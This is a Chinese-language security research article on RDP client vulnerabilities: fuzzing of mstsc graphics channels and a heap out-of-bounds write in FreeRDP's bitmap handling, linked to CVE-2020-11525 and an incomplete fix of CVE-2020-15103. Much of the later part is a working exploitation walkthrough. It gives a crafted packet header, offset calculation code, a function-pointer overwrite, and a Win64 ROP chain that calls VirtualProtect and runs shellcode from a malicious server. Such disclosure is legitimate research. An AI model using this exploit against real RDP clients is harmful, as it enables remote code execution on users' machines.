作者:sunglin@知道創宇404實驗室/0103 sec team
時間:2021年10月9日

0x00 RDP協議的應用

RDP協議(遠程桌面協議)是微軟公司創建的專有協議,它允許系統用戶通過圖形界面連接到遠程系統,主要分為服務端和客戶端,這篇我們來聊聊客戶端相關應用與攻擊面。 主要流行的應用包括:

mstsc.exe(微軟系統自帶)

freerdp (最流行且成熟的開源應用 , github star超過5.6k, fork接近10k)

0x01 RDP協議通信機制

  1. [MS-RDPBCGR]基于ITU(國際電信聯盟)T.120系列協議。T.120標準由一組通信和應用層協議組成,使實施者能夠為實時,多點數據連接和會議創建兼容的產品和服務。
  2. [MS-RDPBCGR]協議可通過靜態虛擬通道和動態擴展協議建立隧道進行傳輸;
  3. 其中有9種協議可建立靜態虛擬通道包括常用的(剪切板、音頻輸出、打印虛擬頻道、智能卡等)
  4. 其中12種協議可與動態頻道虛擬頻道擴展[MS-RDPEDYC]建立隧道包括(視頻虛擬頻道、音頻輸入、USB設備、圖形管道、即插即用設備等等)
  5. 7種協議擴展了[MS-RDPBCGR]并且還包括UDP傳輸擴展[MS-RDPEUDP]、網關服務器 協議[MS-TSGU]等。

image-20211009145542821

0x02 RDP協議圖像處理通道攻擊面

rdp協議中對圖形處理中有兩種通道,多種方式,協議也是很復雜的

image-20211009145632231

0x03 攻擊msrdp圖形處理通道

attack fastpath 
api:
CCO::OnFastPathOutputReceived(CCO *this, unsigned __int8 *a2, unsigned int a3)
{
switch()
{
case1:
CTSCoreGraphics::ProcessBitmap
.............
case 9:
CCM::CM_ColorPointerPDU
case A:
case B:
............
}
}

對此通道進行fuzzing,而后獲取到了msrdp的crash:

image-20211009145808037

image-20211009145812444

0x04 簡要分析此漏洞

漏洞存在模塊mstscax.dll,api是CUH::UHLoadBitmapBits CUH::UHGetMemBltBits獲取存儲的bitmap數據時訪問到數組邊界造成數據越界

image-20211009145849700

0x05 漏洞相似性分析

msrdp與freerdp存在相同的漏洞?

freerdp CVE-2020-11525

同樣的bitmap數組越界當 id == maxCells時將會

數組越界并且和msrdp是同一個漏洞

image-20211009145918797

0x06 反向攻擊客戶端的路徑和方式

image-20211009145950721

0x07 漏洞背景

對于rdp圖形通道的漏洞,我于7月份的時候向freerdp報告了一枚漏洞,并且freerdp回復了我并分配了cve號 CVE-2020-15103,當時提到的漏洞原因是整數溢出,并且freerdp發布了2.2.0版本修復了我提到的漏洞,重新深入分析了這枚漏洞,發現并不只是整數溢出那么簡單,而是freerdp并未正確修復此漏洞,遂即對此漏洞進行了深入分析。

0x08 漏洞分析

首先在rdp協議建立連接的時候,server發送Demand Active PDU協議字段給client的進行功能交換階段時候,通過以下的圖可以看到存在于連接過程的哪一階段了。

image-20211009150028968

freerdp對應處理的代碼在rdp.c的回調函數rdp_recv_callback中進行連接部分的處理,當rdp->state為CONNECTION_STATE_CAPABILITIES_EXCHANGE的時候,將會接收Demand Active PDU協議字段,繼續深入協議字段,Demand Active PDU協議字段將會通過capabilitySets字段來設置每一項功能

capabilitySets (variable): An array of Capability Set (section 2.2.1.13.1.1.1) structures. The number of capability sets is specified by the numberCapabilities field

這里關注的是Bitmap Capability Set

image-20211009150038797

Bitmap Capability Set如下,其將會設置字段desktopWidth和desktopHeight,而這兩個字段將會用于創建窗口會話,并且會通過這兩個字段分配一片內存,而這片內存就是造成后面越界的區域

image-20211009150047849

在freerdp中api調用路徑如下:

rdp_recv_callback->rdp_client_connect_demand_active->rdp_recv_demand_active->rdp_read_capability_sets->rdp_read_bitmap_capability_set

在rdp_read_bitmap_capability_set函數中將會接收到server端的數據,將會設置desktopWidth和desktopHeight

https://github.com/FreeRDP/FreeRDP/blob/libfreerdp/core/capabilities.c

image-20211009150059661

freerdp將會在wf_post_connect中進行一系列的初始化,包括初始化bitmap,api調用路徑如下:

wf_post_connect->wf_image_new->wf_create_dib->CreateDIBSection

最后將會調用windows的api CreateDIBSection,CreateDIBSection將會以bmi.bmiHeader.biWidth * bmi.bmiHeader.biHeight * bmi.bmiHeader.biBitCount創建以4096頁為基數的大內存。

https://github.com/FreeRDP/FreeRDP/blob/client/Windows/wf_graphics.c

image-20211009150110379

在freerdp建立并初始化完成后,調用下這片內存,并且觸發漏洞,通過Fast-Path數據來發送Bitmap Data,而后freerdp將會利用到初始化的內存,并且沒有做任何限制

image-20211009150122177

發送的數據頭部如下:

00,

0x84,0x24,//size = 1060

0x04,

0x1e,0x4, //size - 6 

0x04, 0x00,//cmdType

0x00, 0x00,//marker.frameAction

0xFF, 0xE3, 0x77, 0x04,//marker.frameId

0x01, 0x00,//cmdType

0x00, 0x00, //cmd.destLeft  //  nXDst * 4 

0x00, 0x00, //cmd.destTop  //  nYDst * width

0x00, 0x03,//cmd.destRight

0x04, 0x04,//cmd.destBottom

0x20, //bmp->bpp

0x80,//bmp->flags

0x00,//reserved

0x00, //bmp->codecID

0x00, 0x01, //bmp->width *4

0x01, 0x0, //bmp->height

0x00 ,4,0,0,//bmp->bitmapDataLength

通過特殊制作的頭部數據,將會獲取如下路徑:

rdp_recv_pdu->rdp_recv_fastpath_pdu->fastpath_recv_updates->fastpath_recv_update_data->fastpath_recv_update->update_recv_surfcmds->update_recv_surfcmd_surface_bits->gdi_surface_bits->freerdp_image_copy

先來分析下這個函數gdi_surface_bits,在gdi_surface_bits中有三條路徑可以解析和處理接收的數據,case RDP_CODEC_ID_REMOTEFX和case RDP_CODEC_ID_NSCODEC,這兩條路徑都會將原始數據進行解析轉換,然而在case RDP_CODEC_ID_NONE中,將會直接得到拷貝原始數據的機會。

Static BOOL gdi_surface_bits(rdpContext* context, const SURFACE_BITS_COMMAND* cmd)

{

switch(cmd->bmp.codecID)

{

    case RDP_CODEC_ID_REMOTEFX:

        rfx_process_message();

    case RDP_CODEC_ID_NSCODEC:

        nsc_process_message();

    case RDP_CODEC_ID_NONE:

        freerdp_image_copy()



}

}

最后來到數據越界的函數freerdp_image_copy(),這里的copyDstWidth、nYDst、nDstStep 、xDstOffset 變量都是可控制的,memcpy這里將會越界寫

image-20211009150151366

這里有個問題,CreateDIBSection分配的是以4096頁為基數的大內存,而此片內存并沒有在freerdp進程內,即使越界寫也很難覆寫到freerdp的內存,而這里將desktopWidth或desktopHeight置0的話,將會導致CreateDIBSection分配內存失敗,導致失敗后將會在gdi_init_primary中進入另一條路徑gdi_CreateCompatibleBitmap,而這里將會調用_aligned_malloc以16字節對稱來分配內存,而這里desktopWidth或desktopHeight置0,所以將會分配16字節大小的穩定內存,而這個內存是在freerdp進程內的。

image-20211009150200592

0x09 假如說能獲取信息泄露

假如這里通過自制工具可以泄露堆地址,比如從最輕松簡單的開始,通過泄露越界內存的地址,這個結構體就在gdi_CreateCompatibleBitmap中調用并分配了將會越界的內存

觀察以下結構體將會發現data指針后面將會有個free的函數指針,這里泄露兩個地址,GDI_BITMAP結構體的地址和data指針的地址,只要GDI_BITMAP結構體的地址高于data指針的地址,就可以計算出偏移offset,通過設置offset精確的將free覆蓋,最后通過主動調用free,這樣就可以控制rip了

image-20211009150208614

0x10 精確計算offset

再來回顧下nYDst 是cmd->destTop,nDstStep 是cmd->bmp.width * 4,xDstOffset為cmd.destLeft*4,copyDstWidth為cmd->bmp.width * 4

BYTE* dstLine = &pDstData[(y + nYDst) * nDstStep * dstVMultiplier + dstVOffset];

memcpy(&dstLine[xDstOffset], &srcLine[xSrcOffset], copyDstWidth);

這里offset = gdiBitmap_addr - Bitmapdata_addr;

需要通過設置nYDst * nDstStep *1 + xDstOffset = offset

發送bitmapdata 的數據包括shellcode的大小是1060,頭部大小是36

shellcode的布局如下:

image-20211009150217611

最后的計算如下:

if (gdi_addr > Bitmapdata_addr)

{

    eip_offset = gdi_addr - Bitmapdata_addr;

    char okdata = eip_offset % 4;

    UINT64 copywidth = 1024 * 0xffff;

    if (okdata == 0)

    {

        if (eip_offset < copywidth)

        {

            eip_offset = eip_offset - 1016 + 32  + 32 + 64; //向后退32 + 64

            eip_y = eip_offset % 1024;

            eip_ = (eip_offset - eip_y) / 1024;

            nXDst = eip_y / 4;

        }

    }

}

0x11 主動調用free

通過發送以上的bitmap_data數據將會控制hBitmap->free,通過發送RDPGFX_RESET_GRAPHICS_PDU消息將會重置,并且會先調用hBitmap->free釋放初始化的資源。

image-20211009150229058

RDPGFX_RESET_GRAPHICS_PDU消息處理api流程如下:

rdpgfx_on_data_received->rdpgfx_recv_pdu->rdpgfx_recv_reset_graphics_pdu->gdi_ResetGraphics->wf_desktop_resize->gdi_resize_ex->gdi_bitmap_free_ex

image-20211009150236339

通過調用hBitmap->free(hBitmap->data),將會控制rip

0x12 在win64上面構造rop鏈

首先rop鏈的條件是得通過pop ret來利用棧上面的數據,所以說得控制棧上面的數據才能構造出完整的rop利用鏈,這里觀察了下調用free時的寄存器值:

Rax = hBitmap->data rcx = hBitmap->data rdi = rsp + 0x40

hBitmap->data的地址上面的堆數據正是被控制的數據,這里在忽略基址隨機化的前提下,在ntdll中通過ROPgadget找到了這樣的滑塊:

48 8B 51 50               mov   rdx, [rcx+50h]

48 8B 69 18               mov   rbp, [rcx+18h]

48 8B 61 10               mov   rsp, [rcx+10h]

FF E2                     jmp   rdx

只要執行這條rop鏈就可以完美控制rsp,接下來只需要調用win api來獲取一片可執行代碼的內存,這里采用最簡單的方式就是直接調用virtprotect來改寫shellcode存在的內存頁為可執行狀態,在x86_64上面,調用api都是通過寄存器來傳參的,而virtprotect的傳參如下:

Mov r9d,arg4

Mov r8d,arg3

Mov edx,arg2

Mov ecx,arg1

Call virtprotect

綜上所述,我的rop鏈代碼是這樣構造的:

UINT64 rop1 = 0x00000000000A2C08; //mov rdx, [rcx+50h], mov  rbp, [rcx+18h],mov rsp,    [rcx+10h],jmp rdx

UINT64 rop2 = 0x00008c4b4;    // ntdll pop r9 pop r10 pop r11 ret

UINT64 rop3 = 0x8c4b2;      //ntdll pop r8 ; pop r9 ; pop r10 ; pop r11 ; ret

UINT64 rop4 = 0xb416;      //ntdll pop rsp ret

UINT64 rop5 = 0x8c4b7;     //ntdll pop rdx; pop r11; ret

UINT64 rop6 = 0x21597;    //ntdll pop rcx; ret

UINT64 rop7 = 0x64CC0;    //virtprotect

UINT64 shellcode_addr = ntdll_Base_Addr + rop1;

UINT64 rsp_godget = gdi_addr - 104;

memcpy(&shellcode[956], &shellcode_addr, sizeof(shellcode_addr));//向后退32 + 64 rop   之rsp控制棧

memcpy(&shellcode[948], &gdi_addr, sizeof(gdi_addr));      //控制rcx

memcpy(&shellcode[940], &rsp_godget, sizeof(rsp_godget));   //rsp賦值

shellcode_addr = ntdll_Base_Addr + rop3;

memcpy(&shellcode[1004], &shellcode_addr, sizeof(shellcode_addr));//jmp rdx賦值,rop   開始執行

shellcode_addr = ntdll_Base_Addr + rop5;       //rop 棧賦值rdx

UINT64 ret1 = 924 - 72;

memcpy(&shellcode[ret1], &shellcode_addr, sizeof(shellcode_addr));

shellcode_addr = ntdll_Base_Addr + rop6;   //rop re2

UINT64 ret2 = 924 - 48;

memcpy(&shellcode[ret2], &shellcode_addr, sizeof(shellcode_addr));

shellcode_addr = KERNEL32Base_Addr + rop7;  //rop re3

UINT64 ret3 = 924 - 32;

memcpy(&shellcode[ret3], &shellcode_addr, sizeof(shellcode_addr));

UINT64 virtprotect_arg4 = 924 - 96;

shellcode_addr = gdi_addr - 112;      //rop virtprotect_arg4

memcpy(&shellcode[virtprotect_arg4], &shellcode_addr, sizeof(shellcode_addr));

UINT64 virtprotect_arg1 = 924 - 40;

shellcode_addr = gdi_addr - 888;    //rop virtprotect_arg4

memcpy(&shellcode[virtprotect_arg1], &shellcode_addr, sizeof(shellcode_addr));

memcpy(&shellcode[900], &shellcode_addr, sizeof(shellcode_addr)); //ret to shellcode

respose_to_rdp_client(shellcode, 1060);//attack heap overflow

通過rop鏈到執行shellcode,寄存器rdi的值都沒有被改寫,所以最后在執行shellcode的時候,可以通過rdi來恢復棧地址,這里是通過最簡單的方式了:

Mov rsp,rdi

最后執行shellcode。

請勿用于其他途徑。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1734/